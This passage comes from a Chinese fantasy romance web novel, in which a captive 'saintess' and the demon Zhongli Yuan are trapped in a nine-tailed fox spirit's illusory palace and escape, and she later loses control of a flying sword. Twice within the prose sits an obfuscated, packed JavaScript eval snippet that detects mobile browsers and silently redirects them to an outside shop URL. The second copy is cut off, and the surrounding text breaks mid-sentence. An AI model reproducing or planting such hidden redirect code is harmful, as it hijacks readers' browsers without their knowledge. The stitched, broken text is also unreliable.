辞盈扫了一眼点心,恹恹地说:“我没有胃口。” 钟离渊眼睛一眯:“我去杀了厨子,换个新的。” “有了有了!有胃口!”辞盈连忙扯住他袖口,“我吃就是了。” 这混账东西天天研究杀人,跟着他混,恐怕这辈子也攒不下三千功德。 辞盈盯着眼前小金字扎眼的「0/3000」,怀着满腔悲愤,极不情愿地就着他的手咬了一小口。 豌豆黄细腻绵软,豌豆的清甜在舌尖上丝丝缕缕地化开,唇齿留香,竟然意外的好吃。 她忍不住自己去夹旁边撒着五色果丝、瓜子仁和芝麻的海棠糕,表皮炸得酥脆,内馅儿却柔软甜糯,轻轻咬上一口便牵扯出蜜浆色的糖丝,甜而不腻。 一个不留神,四个瓷碟都吃空了。 钟离渊支着下巴看她,眼里的笑意快溢出来:“原来这叫没胃口。” 辞盈嘴硬:“有时候女孩子说不要,就是要的意思,懂吗?” “懂了。”他笑意更深,“那——你对我有没有胃口?” “没有。”辞盈想都没想,认真补充,“不好意思,这个是真没有。” “为什么?”钟离渊双臂抱胸,身子向后靠着椅背,不见外地将长腿搭到她的床边,摆出一个准备跟她深入展开讨论的姿势:“哪里不满意?我可以变啊,难道你不喜欢男人?” 说完,他摸着下巴自言自语:“变成女人的话,除了你我也没有看着顺眼的皮囊,如果变成你自己……” 辞盈忙道:“停!我取向正常,你别太离谱。” 他似乎也松了一口气,又恢复了不可一世的神态,一脸“就知道你还是喜欢我”的骄傲神情。 这祖宗好像有病。 清晨的第一缕阳光爬上空荡荡的床榻时,辞盈正鬼鬼祟祟地从卧房探出头。左右没人,她猫着腰,以百米冲刺的速度冲向逍遥山庄后门。 她虽然战斗力菜鸡,逃跑倒还可以。托圣女体质的福,遇袭什么的就很常见,打又打不过,每次碰见山精野怪都要靠狂奔活命,时间久了自然练得身轻如燕。 正跑得起劲,前方忽然闪过一道红影。辞盈来不及刹车,“咚”地撞进人怀里,若不是被对方拉住,差点当场弹飞出去。 那人一袭红衣,腰身劲瘦,眼尾细长上翘,声音如鬼魅般阴鸷:“这么早,去哪里?” 辞盈尴尬地挤出一个苦笑:“去……找你啊。” 钟离渊似笑非笑地勾唇:“找得这么急,是想我了?” “是……吧……” 眼前突然天旋地转,辞盈被他像扛麻袋一样甩到肩上。她胡乱拍着他的背尖叫:“我是人不是猪!放我下来自己走!” 钟离渊不理她,扛着她穿过庭院,迎着佣仆们又惊又八卦的目光,昂首阔步回了房间,“咚”地把她扔到榻上,眼神像饿狼盯着猎物。 完了。 这眼神好像要吃人。 19. 来双修呀 辞盈忽然有点儿慌,连滚带爬地缩到墙角,舌头打结道:“你你你……堂堂天下第一杀人魔头,可不能学那些流氓无赖之辈欺负姑娘,太太太跌份儿了!” 他低低地笑了,身影压过来将她困在床角,目光像燃着的火:“不是你说,想我想得紧?” “我那是随口胡诌的……”辞盈瞪圆了眼,声音发颤,“你要做什么?!” 钟离渊无视她的抗议,金纱帐幔被他一把扯下撕成条,轻巧地将她掐住双手捆在一起,推到头顶,嘴角勾着一抹深意:“这是对你逃跑的惩罚。” What!!! 这是什么魔头的变态play?! “钟离渊你竟敢……” 辞盈忽然住了口。腰间被一只大手捏住,她整个人不自觉地颤栗一下,四肢僵硬绷直忘了呼吸。 “嘘——” 他贴得太近了,近到能听见彼此的心跳。浅棕色瞳孔里盛着她惊慌的模样,他似乎很满意,眼尾弯出蛊惑的弧度,温热的气息拂过耳畔:“阿姐乖乖听话,我就饶你这遭。” 辞盈缩着脖子不敢动,只敢点点头,眼看着他又将脚也捆住,她试探着求饶:“我不跑了,再也不跑了,你放开我吧,不然我吃饭睡觉上厕所怎么办?” 钟离渊将她摆正,又轻轻将她的碎发捋到耳后,眼神温柔得像一池春水:“我可以喂你,帮你,照顾你。” “……” 你个囚禁偏执疯批怪啊!!! 相思咒是会随着时间不断加深吗?上次见面时候他明明还没这么可怕啊喂! 照这个趋势下去,她都怀疑自己会被钟离渊做成人体标本以便随身携带。 辞盈深吸口气,强作镇定:“我是圣女体质你知道吧?容易招妖魔鬼怪。你这么捆着我,妖怪来了我连跑都跑不了。” “有我在,谁敢来找死?” “……也对。” 他银发如瀑垂落,眉心殷红的花钿若隐若现,冷白的脸衬得颌线愈发锋利,嘴角噙着笑,眼里却仿佛有醉意: “你什么都不用做,有我就够了。” …… 五个时辰后,逍遥山庄里炸开了做作的哀嚎。 辞盈实在绷不住了,三分真哭七分演戏地嚎啕起来。 手腕倒是捆的不紧。钟离渊怕勒疼她,只松松地缠了一圈,又怕她无聊,不知道从哪儿翻出几本书,柔声细语地读给她听,见她仍旧闷闷不乐,又提议陪她去市集逛逛。 十分耐心,百般温柔,像个半点儿脾气也没有的陪嫁丫鬟,召之即来,挥之不去。 辞盈悲愤地瞪他:“你见过捆着逛市集的吗?不如直接在我头上插根草标,人家还以为你要摆摊卖我呢!” “出去可以给你解开。” 辞盈哭得更凶了:“你打算这么捆我一辈子嘛?那不如现在就杀了我得了。” 钟离渊认真琢磨片刻,忽然眼睛一亮:“你不喜欢绳子也无妨,玄武教有种蛊虫,你吃了就会听我的,不会乱跑,比绳子好用多了。” 辞盈:“……” “你做个人吧钟离渊!” 钟离渊正为自己这个天才金点子兴奋不已,完全无视她的反应,扔下一句“我去拿几个蛊虫,你就在此地不要走动”,背影轻盈潇洒地翻窗而去。 “……” 活爹,那是蛊虫不是橘子啊啊啊啊——! 见他没了影,辞盈赶紧运起灵力,手腕猛地向外一挣。好歹在水云剑宗混了三年,扯断这种纱帘绳还不是易如反掌? “嚯——” 手脚上的绳索纹丝不动,硬得像钢筋铁骨。 好好好,连绳子都动了手脚。 辞盈在床上愤怒地扭曲尖叫,阴暗爬行,最后折腾得连叫唤也没力气了。 累了,毁灭吧。 大不了吃虫子呗。 清冷的月光透过窗棂倾洒在雕花木桌上,窗边的苍蝇忽然得了失心疯,横冲直撞满屋乱窜好像逃命似的要飞出这个房间。 辞盈刚察觉到不对,耳朵里就嗡的一声,尖细幽微的声音由远及近,像隐形的钢针钻入脑仁,将她的脑袋搅成一团浆糊。 床旁边陡然乍现一个黑洞般的诡异漩涡。 辞盈在晕过去之前最后看见的,竟是个貌比潘安的美男子,拉着她的胳膊就往漩涡里跳。 直觉告诉她,那漩涡绝对不可能是什么好地方。 “钟离——” 最后一个字叽里咕噜地淹没在暴风骤雨般的漩涡之中。 像是被注射了全麻,辞盈从没睡得这么沉过。 昏昏沉沉中,她感觉自己陷在柔软的垫子里,熏香浓得呛人,耳边传来充满荷尔蒙的温柔声音:“宝贝儿,醒醒,我要来了。” 什么玩意儿?谁来了? 辞盈迷蒙地醒来,眼前赫然贴着一张俊美的男人脸,无可挑剔的五官仿佛ai合成。 脖颈的小麦色皮肤下依稀可见的青色血管脉络,胸肌腹肌肱二头肌应有尽有,再往下…… 辞盈猛地睁大眼,大哥,不用这么不见外吧?! 她想鲤鱼打挺坐起来,无奈手脚还捆着,只能笨拙地表演了个乌龟翻壳,低头看见自己衣衫完整,佩剑也还在,这才松了口气。 “你你你,先把衣服穿上!” 真见鬼了,这两天怎么净被人堵在床上。 AI换脸男大方道:“我这样不好看吗?我可是费劲千辛万苦才找到你呢,我的圣女。” 辞盈心里咯噔一下。 完了,又一个奔着唐僧肉来的。 “你知道的,这世间有多少人垂涎你的血肉,但他们炼化你的方式都太粗鲁野蛮。” ai男讲话的声音过分浑厚低沉,在辞盈听来,甚至有些霸总式的油腻。 “实不相瞒,我本来也有此意。但刚才一见到你,我就改主意了。宝贝,你这么漂亮的皮囊,与其炼化成灰,倒不如跟我阴阳双修。” 修你大爷啊。 辞盈勉强维持礼貌:“你贵姓?” ai男骄傲道:“叫我狐仙哥哥就行。我已修炼千年,跟外头那些山精野怪低阶货色可不一样,你跟着我不吃亏。” 原来是千年狐妖,怪不得熏香浓得呛人,不浓怕压不住狐狸味儿吧。 辞盈实在不忍直视面前的裸男,四下张望,才发现这是个极其奢靡富丽堂皇的宫殿。 殿宇飞檐翘角,雕梁画栋,每一处都精雕细琢。香桂为柱,金砖铺地,连她屁股底下的龙床都镶满珍珠,明珠璀璨将整个宫殿映得熠熠生辉。 这狐妖哥千年修的是什么学位?投资理财吗? 不知是被嫉妒冲昏了头脑,还是被金钱晃得眼花缭乱产生了错觉,怎么觉得角落里有什么东西一直在晃呢。 定睛一看,雕栏玉砌的墙根下,竟齐刷刷站着两排光溜溜的赤色狐狸,尾巴像鸡毛掸子似的翘着,数不清的狐狸眼贼兮兮地盯着她,像是在看什么美味佳肴。 辞盈背后瞬间起了层冷汗,再看狐妖一副跃跃欲试的样子,急忙道:“等一下,我知道你很急,但你先别急。” 男狐妖笑道:“你进了我的狐狸洞,就再也别想出去了,不可能有人进来救你。乖乖从了我,免得受苦……” 话音未落,咔嚓一声,像巨大的玻璃板碎裂,男狐妖身边的空气突然裂开一道裂纹,没等他反应过来,又接连响起咔嚓声,碎纹渐渐汇成一个漩涡! “这……不可能!结界的门只有我能打开!” 男狐妖瞠目结舌地看着裂纹越来越多,安全感彻底崩塌。这可是他的地盘,他的老巢!就这么被人随便打开了,以后还怎么混! 辞盈看着信念崩塌跪在地上失神的男狐妖,都有点儿同情他了,安慰道:“不怪你,是外头那人太变态。” 男狐妖终于从绝望中缓过神来:“我的迷宫幻界万象难辨,定是他在我关门那一瞬间抓住了机会,才能顺藤摸瓜找到这里来。不过,能做到这点,也算是亘古未有的奇才了。” 辞盈认同地点点头:“我劝你赶紧穿上衣服,否则你会死得很惨。” 男狐妖眼珠一转:“他为什么这样拼命来救你?你们是一对儿?” 辞盈摇头:“那倒不是,他有病。总之你相信我,这个人很可怕,他不高兴了真的会把你做成狐狸围脖。” 男狐妖忽然诡异地笑了。 “那可不一定啊。” 只见他摇身一变,娇笑道:“你猜,他是会选你,还是选我呢?” 胸肌腹肌肱二头肌消失无踪。面前的狐妖腰细腿长,巧笑倩兮,美目盼兮,白嫩得几乎能掐出水来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101549|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 辞盈如同照镜子,看着连头发丝都跟自己一模一样的狐妖,愣了两秒。 不是……你在这给我玩真假美猴王呢?! “你怎么能……” 辞盈倒不稀奇他会变,毕竟她刚看过钟离渊大变活人,也没什么新鲜的。 可是他一个男狐妖,怎么举手投足能比女人还妩媚妖娆,一颦一笑皆是风情? 辞盈甚至觉得这副皮囊以前都被自己用糟蹋了,活像张飞错穿凤尾裙,李逵戴上琉璃钗,连它万分之一的美也展示不出来。 “嘻嘻。”狐妖顾盼生姿地转了一圈,“我又改主意了,与其同你双修,不如同他双修,再把你炼化,岂不是两全其美?” ……不愧是你,双修脑啊。 辞盈无语:“你本体到底是男是女,啊不,是雌是雄啊?” 怎么还男女通吃啊大佬? 狐妖掐着兰花指:“男女有什么要紧的,重要的是他足够强,可助我修为精进……” 漩涡骤然加剧扭曲,金光闪耀将整个宫殿映得白茫茫一片,辞盈眼前一花,便听见千娇百媚的声音:“郎君,你可算来了,叫奴家等得好心急。” 这动静听得辞盈骨头都酥了,再看狐妖两条玉臂已经缠上钟离渊的脖子,柔若无骨地靠着他,媚眼还在疯狂放电。 辞盈像根被风吹蔫的糟木头,杵在原地摇摇欲坠。 谁真谁假一目了然。 红衣少年长身玉立,眉头微蹙,低头看了看怀里的人:“你不是她。” 辞盈松了口气。 狐妖缓缓抬头,媚眼如丝:“郎君……” 钟离渊:“你比她强多了。” 辞盈:“……” 答应我,下一款相思咒开发时候一定要增加防盗号功能好吗? 合着绑定的只是我这张脸吗?会不会太肤浅了啊喂! 钟离渊瞥了辞盈一眼,转头对狐妖道:“反正都长得一样,我有了你这么懂事的,还要她干什么。” 狐妖喜出望外,声音更加甜腻:“郎君果然机敏过人,一眼便能识破我的小把戏。只是真没想到,郎君竟生得这般俊美,比奴家还要好看几分。” “……” 狐妖姐,你那意思钟离渊长得比我好看呗? 辞盈忍无可忍:“可不是么,狐狸妖看狐狸眼,肯定是怎么看怎么喜欢啊。” 钟离渊抬起眼皮看她:“你在吃醋?” “不好意思,我吃饺子都不蘸醋,您二位继续。”辞盈翻了个白眼。 狐妖大概上辈子是一株绿萝,藤蔓似的胳膊腿缠绕上钟离渊劲瘦的腰,画面太过香艳,又用的是辞盈的形象,辞盈脸抽了一下,顿时有一种自己在日本频道做兼职的错觉。 “小郎君……” 狐妖媚骨天生,眼波流转,红唇似火般热烈地贴了上去。 钟离渊却条件反射般扭头躲开了。 狐妖亲了个空,愣了愣,大概这辈子没被男人拒绝过,脸上顿时浮现不悦的神情。 “郎君为何要避开我?莫非是还放不下那个圣女?” 钟离渊一脸无辜:“怎么会。” 狐妖娇冷笑道:“那郎君哥哥现在杀了她吧,如此,你我二人之间便再无嫌隙了。” 墙角两排小狐狸顿时骚动起来,兴奋地仰天嚎叫,呜呜声立体环绕在金碧辉煌的宫殿里更显得怪力乱神,妖气冲天。 钟离渊面无表情地看着它,没说话。 狐妖柔媚的声音添了几分潮湿的阴森:“这结界是我妖气所化,也只有我能打开。若我不允,就算是郎君杀了我,也得一辈子困在这里。” 她又娇滴滴地笑出一串银铃声,变脸比翻书还快,甜腻腻道:“郎君也可以先与我双修,届时再共同将圣女血肉炼化,你我二人同享,岂不更好?” 说完,纤细的四肢又如海藻般缠绕上去,钟离渊轻盈地略一侧身,狐妖再次扑了个空,险些趴了个嘴啃地。 辞盈有些意外,有些惊喜,还有一丢丢感动。美色当前,这货还知道坚守原则,不易啊不易。 狐妖气急败坏地转头:“你什么意思!” 钟离渊:“我还是选杀她吧。” 辞盈:“……” 花会谢,我也会谢。 我谢谢你啊钟离渊! 20. 有点心动是怎么回事 就在他步步紧逼,掌心跃动起妖异红光的刹那,狐妖突然尖声叫停: “等一下!” 它旋身贴近,柔若无骨的手抚上钟离渊的脸颊,语气娇媚得能滴出水来:“圣女之躯就这么杀了,岂不太暴殄天物?不如留下吧。” 眼波流转间,又添了几分委屈,“经此一试,我已全然信了郎君。可郎君为何偏偏不肯与我双修?” 钟离渊唇边勾起一抹浅笑,一本正经地胡诌:“我这人素来保守,要双修必须先成亲。” 辞盈忍不住噗嗤一声。 有多保守?是幻化成其他男人的模样骗我上床的那种保守吗? 钟离渊瞥她:“我要成亲,你有意见?” “没有没有,百年好合。”辞盈笑眯眯。 钟离渊的小白脸又黑了一度。 那狐妖早已被他迷得神魂颠倒,当即拍板:“好!成亲就成亲,咱们明日便办!” 它转而凑到辞盈面前,深深吸了口气,满脸痴迷:“圣女血肉果然带着莲花香。来人,先把她扔进酒池里,洗干净腌透了,等我与郎君成了亲,再好好享用。” 殿堂两侧的赤色群狐立刻一拥而上,叽叽喳喳闹作一团,簇拥着辞盈就往殿外拖。 “……狐狸姐你是在江南修炼成精的吧?怎么吃人还要酒酿啊啊啊——” 刚出殿门,辞盈忽然觉得手脚一松。之前钟离渊施加的封印被偷偷解除了,紧缚的丝带便形同虚设。 她并未急着挣脱,而是顺从地由群狐牵引着穿过长廊来到后殿。 空气中弥漫着氤氲雾气,醇厚的酒香四下飘散,人还没踏进浴池,就先被这酒气熏得微醺。 “等等,哎别推!再推我真翻脸了啊,我可要虐畜了——” 辞盈嘴里叨叨着,手上捏了个诀,往空中撒出一片亮闪闪的碎金,小狐狸们便眼珠发直,嗷呜乱叫,乖乖地排着队跳入硕大的方形酒池浴缸里,扑腾得不亦乐乎。 好歹我也是水云剑宗宗主的亲传弟子,还收拾不了你们几个小狐狸么。 辞盈得意地拍拍手,转身刚要走,榴莲大的绿色火球突然从天而降,咣当一声巨响,砸在她脚边。 她甚至闻到自己烧焦的头发丝在打卷冒烟,吓得向后跳了一大步,就听见尖细的嗓门厉声喝道:“哪里跑!” 抬头望去,悬梁上倒吊着一个红裙女妖,美貌妖艳却立着一对毛茸茸的尖耳朵。一条尾巴卷住房梁,其余几条正手舞足蹈地乱晃,看得人眼花缭乱。 辞盈脱口而出:“九尾狐?” 狐妖从房梁上翩然飞落,嗤笑道:“你不识数吗?” 辞盈仔细数了数:“一二三四五六,咦,你怎么才六条?无意冒犯啊,这算残疾吗?” 狐妖勃然大怒:“是七条,你找死!” 刹那间,无数榴莲火球接踵而至,追着辞盈满殿乱砸。 幸好她身轻如燕,脚踩疾风四处流窜,边跑边抽出佩剑回身乱劈,没想到这狐妖竟然会隐身,一会儿上墙一会儿下水,时而在南时而在北,神出鬼没的,根本砍不着。 打了一阵,殿墙被剑气划得横七竖八惨不忍睹,那狐妖却还完好无损,悠哉悠哉地扔着榴莲。 救命啊七尾狐妖也太难打了啊啊啊—— 她跑得筋疲力尽,脚下忽然一绊,整个人朝前扑去。身后的火球穷追不舍,眼看就要燎到她飘飞的裙角,斜刺里突然伸出一条手臂,一把揽住她的腰,将她带飞起来,还在空中飘逸地转了几圈。 红衣少年扬眉一笑:“阿姐这次想我了么?” 辞盈一边跟着转圈一边吐槽:“想你来救命啊。这七尾妖狐会隐身,根本没法打!” “是吗?” 钟离渊余光瞥见不远处飞来的绿火球,漫不经心地打了个响指。那火球竟猛地刹车,掉转方向往回飞。 紧接着,殿内所有火球都像中了邪似的原地掉头,齐刷刷瞄准角落那看似空无一人的地方猛砸过去。 哀嚎声瞬间响彻狐狸洞。 红裙狐妖被迫现形,裙子都被烧没了,露出白花花的大腿。钟离渊立刻转过头,一脸乖巧:“阿姐放心,我不看她。” 辞盈踮起脚摸摸他的头:“真乖。” “你们欺人太甚——!” 尖厉刺耳的叫声从门外传来,阴风阵阵,将酒池里的小狐狸们吹成了一个个毛球,接连翻滚了好几个跟头。 化作辞盈模样的狐妖怒气冲冲地闯进来,身后一堆又粗又长的尾巴狂飞乱舞。 辞盈赶紧眯起眼睛数:“一二三四五六七八九十!这么牛!” 奄奄一息的七尾狐气若游丝:“是九尾狐仙啊你就没数对过。” 千年九尾狐也不废话,尾巴一卷,旁边的石桌玉凳便如炮弹般猛砸过来,力道迅猛,势要将辞盈二人直接拍扁。 辞盈平生第一次亲身体验到,什么叫快如闪电。 她还没反应过来发生了什么,已在一息之间被钟离渊带着瞬移了好几次,连半粒石子都没沾到裙边。 他甚至还抽空替她理了理额前凌乱的发丝。 眼见物理攻击无效,九尾狐瞳孔突然射出诡异的红光,目光带了钩子盯着钟离渊,用催眠般的语调呓语: “你是我的了……你并不爱她,只爱我……你要与我双修……” 钟离渊:“?” 狐妖继续洗脑:“听我的话……杀了她……你爱的是我……不可救药地爱上我……” 辞盈:“……” 不得不说,这催眠术要是成功就没什么问题,失败了真的很尴尬。 钟离渊盯着她看了半天,听到后面终于有了反应。 他“噗嗤”一声,没憋住笑。 九尾狐的脸瞬间青红黑白交错,却仍不肯相信自己的狐媚惑术会失效,咬牙坚持:“你会服从我的话,愿意为我而死,为我而活……” 听着她像和尚念经似的絮絮叨叨,钟离渊脸上的浅淡笑意很快变成了不耐烦。他掌心聚力,一道灵光如巨杵般射出,直接将九尾狐妖杵进了墙里。 狐妖顽强地从碎墙里爬出来,又气又不甘:“为什么……为什么你能抵抗我的惑术?!难道我不够美吗?!” 钟离渊一抬手,再次将她拍进碎墙堆:“自然是美的。若你不是变成了她的样子,以为还能活到现在?” 狐妖显然被气疯了,仰天长啸:“别忘了你们现在还在我的狐狸洞里!你们永远也别想离开,永生永世困死在这里吧!哈哈哈哈呃……” 哈哈哈声戛然而止,狐妖又被一道灵光掼进了地里。辞盈眼皮一抽:这么下去,这狐妖估计撑不了几轮。 要破开幻境,必须找到阵眼,可阵眼只有幻境的制造者才知道。这位杀神下手没轻没重的,万一不小心把狐妖拍成了肉饼,他们可就真出不去了。 辞盈觉得有必要提醒一句:“那个……你小心别把它打死了,不然咱们真出不去了……” 钟离渊:“那样也很好,能跟你在一起就好。” 辞盈无奈:“喂,我在认真跟你说利弊。” 钟离渊随手把刚从地里爬出来的狐妖再度敲回去,歪头笑道:“我也是说真的啊。” 他说话时,眼睛亮晶晶的,含着温柔的笑意,神情还有几分少年特有的俏皮,看得人心头发软。 辞盈忍不住想,清衍真人真是个苦修的铁石心肠,这么温柔好看的少年,怎么忍心一关就是三百年。 见她发呆,钟离渊笑着在她鼻尖上刮了一下:“笨蛋,真吓到了?” 辞盈揉揉鼻子:“我想出去。” 钟离渊握紧她的手:“好,我们出去。” 刚才他为了寻找幻境的突破口,故意虚与委蛇,一边拖延时间一边观察妖气波动,总算找到了三个阵眼。 打了个响指,指尖燃起一簇光焰,轻轻一弹,灵光分别射向三个虚空之处。刹那间,华丽的宫殿释放出万丈光芒。 鎏金的殿柱开始龟裂,细碎的金箔簌簌剥落,整座殿堂突然扭曲成波纹状,朱漆廊柱像融化的蜜蜡般坍软,琉璃瓦在虚空中裂解成万千磷火。 “闭眼。” 他的手掌轻轻覆上她的眉弓,替她遮住灼眼的光焰。 等到指缝间透进的耀眼白光渐渐黯淡,辞盈缓缓睁眼,却仍旧是一片伸手不见五指的漆黑,伴随着潜藏在暗处的怪兽低沉嘶吼,忽远忽近,听的人心惊肉跳。 她想捏个诀照亮周围看看,忘了手还被他握着。她一动,对方却攥得更紧。 “别怕,我在呢。” 神奇的是,听到他的声音,她真的就不怕了。好像不管对面是什么,只要钟离渊在,她就能安安全全地苟着。 眼睛渐渐适应了黑暗,原来狐狸洞地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他这样喜出望外,倒让辞盈无端生出些心虚,像一个玩弄了纯情少年感情的渣女,享受着对方的满腔热情又不想负责。 可是这能怪我吗?让他长出恋爱脑的相思咒是我发明的吗?拿错盒子的明明是游乘风那个魂淡啊! 辞盈迅速调整心态,趁他心情好赶紧谈判:“没有一个人在家里是被捆着的,所以……” “都听你的。”钟离渊贴近些,以一种渴望且诱惑的音调轻声耳语,“或者,阿姐也可以捆我试试。” 辞盈:“……” 少年,你在玩什么变态play? 回到逍遥山庄住了些时日,钟离渊很守规矩,既没再搞什么恶劣的变装秀吓唬她,也没有强迫她的意思。 走到哪儿都有一群人前呼后拥,衣来伸手饭来张口的日子也不是很爽,感觉自己快被伺候成智障了。 “你是不是觉得闷?”钟离渊问。 “那必然了。”辞盈掐着自己肚子上新长的二两肉说。 恰逢风和日丽,他便带她出去散心。 山庄背后是一片开阔的草地,微风拂过时,草尖泛起细碎的银光,清浅的河流蜿蜒其间,水色澄澈如琉璃,阳光洒落时,河底卵石上的青苔被映得莹莹生绿,偶尔有游鱼曳尾而过,搅碎一泓浮光。 春风卷过青野,他指尖一挑,燕尾纸鸢便颤巍巍腾空而起,尾梢金铃叮当碎响。 “一次就成功了!好厉害,哎,往右往右,别刮在树上了!”辞盈仰头望着,蹦来蹦去。 钟离渊将线轮递过去:“喏。” “我不会放纸鸢。”辞盈笑道,“小时候很喜欢来着,在路边捡过半截风筝,也不会弄,还划破了手。” “我教你。” 钟离渊站在她身后,修长的手指轻轻覆上她的手背,带着她一点点松开缠绕的丝线,低笑道:“别急,等风来——” 话音未落,纸鸢便顺着春风的托举倏然升高,惊得她轻呼出声。 暮色渐浓时,她终于能独自让纸鸢翱翔,回头寻他,却见他倚在树下望着她,唇角噙着一抹漫不经心的笑,阳光透过枝叶的缝隙,在他眉间跳跃。 心头莫名一荡。 辞盈转回脸,默诵一百遍静心咒。 明明知道他杀人不眨眼,却还觉得这小子笑得好温柔,有点心动是怎么回事。 肯定是占了脸好看的便宜! 21. 你可愿做一根竹 之后许多日,钟离渊再未露面。 那条贪吃蛇倒是整日盘踞在她院中酣睡,稍有风吹草动便吐着信子,绿眼珠一瞪便支棱起来,活像个忠心耿耿的狱卒,确保辞盈半步也跑不掉。 她只好拉着梅兰菊竹四个丫鬟搓麻将,蜷在床上翻话本,吃了睡睡了吃,这样蹉跎了几日,只觉得自己与蹲监狱的唯一区别,就是不用踩缝纫机。 人生无望啊。 也不知师尊是否寻到了二师兄。 这样下去什么时候才能攒到三千功德?什么时候才能离开这个杀人不犯法的鬼地方?什么时候才能摆脱这副整日被妖魔鬼怪垂涎追杀的倒霉圣女皮? 翻烂了第十七册话本,她终于忍无可忍,决定把钟离渊喊回来。 许是喊得过于闲适悠哉,这一次他并未立刻出现。辞盈推门而出,碰上庭院里洒扫的仆人,随口问道:“看见钟离渊了吗? 仆人立马站直了身子,垂下头恭敬回话:“回少奶奶的话,这十几日都没见着主子回来。” 辞盈心里隐隐泛起一丝不安。 就像家里养的藏獒没栓绳便放了出去,谁知道会闯下什么祸。 她在山庄里随意逛着,忽然听见一阵“嘀嘀嘀”的声响,曲调简洁轻快,令人闻之雀跃。 循声抬头,树杈上果然轻飘飘垂下两片鲜红亮眼的衣襟。再往上瞧,是劲瘦的腰身、笔直的脊梁,肩宽却单薄,配上那张妖冶鬼魅、顾盼生辉的俊脸——活脱脱一根红筷子成精了。 他唇间还夹着片纤长的叶片,倚坐在半空中凹着造型,脸上明晃晃写着“你终于知道想我了”的得意神情。 这几日不知在忙些什么,钟离渊似乎又清瘦了些,精神头却极好。跃下树枝时,衣袂翻飞,连带着发梢都跟着蓬勃跳跃。 辞盈还没来得及开口,就觉身上一轻,已被他揽着腰带上鸣蛇背。脚下腾云驾雾般飞越了几重山涧,她不由得惊叫:“这是要去哪里?” “带你出去转转。”钟离渊笑着,眼底闪着光,“难得你肯主动找我,我很高兴。” “不对,别拿我当借口,你肯定还有别的喜事。”辞盈一眼看穿。 “真聪明,那你再猜猜是何事。” 身后的声音透着掩不住的兴奋,能让他这般来劲的,八成不是什么好事。辞盈脑海里闪过一百个血腥念头,茫然问道:“你又杀人了?” 钟离渊若有似无地笑了一声,不置可否。 杀了谁? 辞盈向下遥望铺展的连绵山脉,积雪的山脊在阳光下泛着冷冽的锋芒,仿佛大地裸露的森森白骨。这方向,似乎并非去往水云剑宗。 暗自松了口气的同时,她打定主意,要趁这次出门的机会逃走。 总跟个定时炸弹捆在一起,迟早得粉身碎骨。 才落地,她便摆出一副羞赧的模样:“我有点肚子疼。” 钟离渊蹙眉:“哪里疼?我看看。” “你不方便看。”辞盈低下头,支支吾吾,“我……就是……那个……” 见她神色怪异,钟离渊愣了好一会儿才反应过来,顿时眼神飘忽,故作镇定地清了清嗓子:“那……那怎么办?” 这就慌了?哼,你这白活了三百年连生理卫生课也没上过的纯情小处男。 “我得去买些姑娘用的东西,你别跟着,先去找个客栈我们好落脚。”辞盈说完,掉头就走。 果然钟离渊没好意思追上来。 辞盈匆匆混入街市上熙攘的人群,没想到这隐秘的群山之中,竟藏着这般繁华热闹的地方。 方才下落时她便留意到,四周群山环绕,层峦叠翠,溪湖潺潺,鸟歌蝉鸣,唯有一条小路与外界相通,简直就是与世隔绝的桃花源。 天光渐暗,巷弄里家家户户的门楣上都亮起了大红灯笼。 卖胭脂的老妇正用枝条卷着石臼研磨朱砂,瘸腿的老伯蹲在药炉前熬煮紫参,咕嘟咕嘟冒着气泡的陶罐险些被打闹的孩童撞翻。老伯竖起眉毛吆喝一嗓,小孩子们便嬉笑着跑远了。 真猜不透钟离渊葫芦里卖的什么药。 这小镇除了像隐居世外,看不出有什么特别之处。若说是为了散心,更犯不着特意跋山涉水跑这么远。 不过,管他呢,先逃跑再说。 辞盈找了个僻静地方,估摸着不会被钟离渊发现,便调动灵力,凝聚剑气,足尖点地一跃而上。 “出发吧皮卡丘!向着自由前进!” 剑没动——准确地说,是没往正确的方向动。 哪里不对的样子。 辞盈感觉剑身在颤动,抖动,晃动,像羊癫疯一样乱动。怎么,又,开始了…… 这一红一蓝两股劲儿到现在还没拧过来嘛?! 这哪是御剑,分明是骑着匹打了鸡血的疯牛,甩都甩不掉,仿佛黏在脚上,横冲直撞地一骑绝尘。 ……救命啊!!! 御剑把自己摔死应该是修道士最丢人的死法了吧? 她身不由己地“嗖嗖”穿梭在街道上,吓得路人纷纷避让,这作风,活像自己以前最鄙视的那种开豪车扰民的缺德富二代。 “快闪开!闪开——我没刹车啊啊啊啊——” 这破剑肯定是被钟离渊下了邪咒!它是想跟我同归于尽啊啊啊啊—— 怕什么来什么,路边偏偏蹲着两个幼童。辞盈眼睁睁看着剑尖直冲过去。 要撞上了! 辞盈攥紧的拳头猛地松开,捏了个雷霆万钧咒。 她入门三年,所学咒法大多用于自保,在藏经阁里饱览的群书也多是些稀奇古怪的知识,真正能上战场用的没几招。 雷霆万钧咒是个可大可小、可深可浅的招式,入门就能学,可各人施展出来的效果天差地别。在墨让尘手里是雷霆万钧、天崩地裂,到了她这儿,大概就只剩雷声大雨点小了。 但用来劈剑,应该够了! “咔嚓”一声炸响! 劈歪了。 这剑身被红蓝两股劲力左右拉扯,时而还要倒立转圈,辞盈晕头转向得快要吐了,想劈自己都瞄不准。 两位大神别打了,下辈子我求神拜佛,再也不拜俩对家了还不行吗? “快闪开!!!” 幼童吓傻在原地,根本不会躲。辞盈下了狠心,再次捏咒——我劈我自己!!! 突然,腰上一紧。辞盈低头,见一条纤长柔软的绿藤在腰上缠绕了数圈,另有一道绿藤缠住剑身,柔中带刚地向后一扯,她的身体便轻飘飘地腾了起来。 看似柔嫩的绿藤却有千钧之力,瞬间控制了局面,毫不费力地将她卷到空中,再将坠落的连人带剑稳稳接住。 